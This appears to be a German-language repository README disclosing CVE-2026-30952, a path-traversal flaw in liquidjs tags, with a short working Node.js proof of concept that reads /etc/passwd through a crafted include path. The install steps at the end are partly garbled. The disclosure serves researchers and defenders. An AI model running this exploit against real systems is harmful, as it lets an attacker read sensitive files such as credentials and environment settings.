
PoC für CVE-2026-30952: Path-Traversal-Schwachstelle in liquidjs über absolute Pfade in layout-, render- und include-Tags.
Dieses Repository enthält einen Proof of Concept (PoC) für CVE-2026-30952, eine hochriskante Path-Traversal-Schwachstelle, die in der Bibliothek liquidjs (Versionen < 10.25.0) entdeckt wurde.
Autoren & Forscher:
Moriel Harush Maor Caplan
Die Schwachstelle ermöglicht beliebigen Dateizugriff über die Tags layout, render und include, wenn diese mit absoluten Pfaden verwendet werden. Dies geschieht selbst dann, wenn ein root-Verzeichnis angegeben ist, da der Fallback-Mechanismus der Bibliothek nicht ordnungsgemäß validiert, ob der aufgelöste Pfad innerhalb des vorgesehenen Root-Verzeichnisses bleibt.
Auswirkung: Ein Angreifer kann sensible Dateien (z. B. /etc/passwd, Umgebungsdateien) lesen, wenn er den Template-Inhalt oder die an diese Tags übergebene Variable kontrollieren kann.
const { Liquid } = require('liquidjs');
const e = new Liquid({ root: ['/tmp'], partials: ['/tmp'], dynamicPartials: true });
e.parseAndRender('{% include page %}', { page: '../../../etc/passwd' }).then(o => console.log(o.slice(0,500)));

liquidjs (npm install [email protected])npm install aus.node exploit.js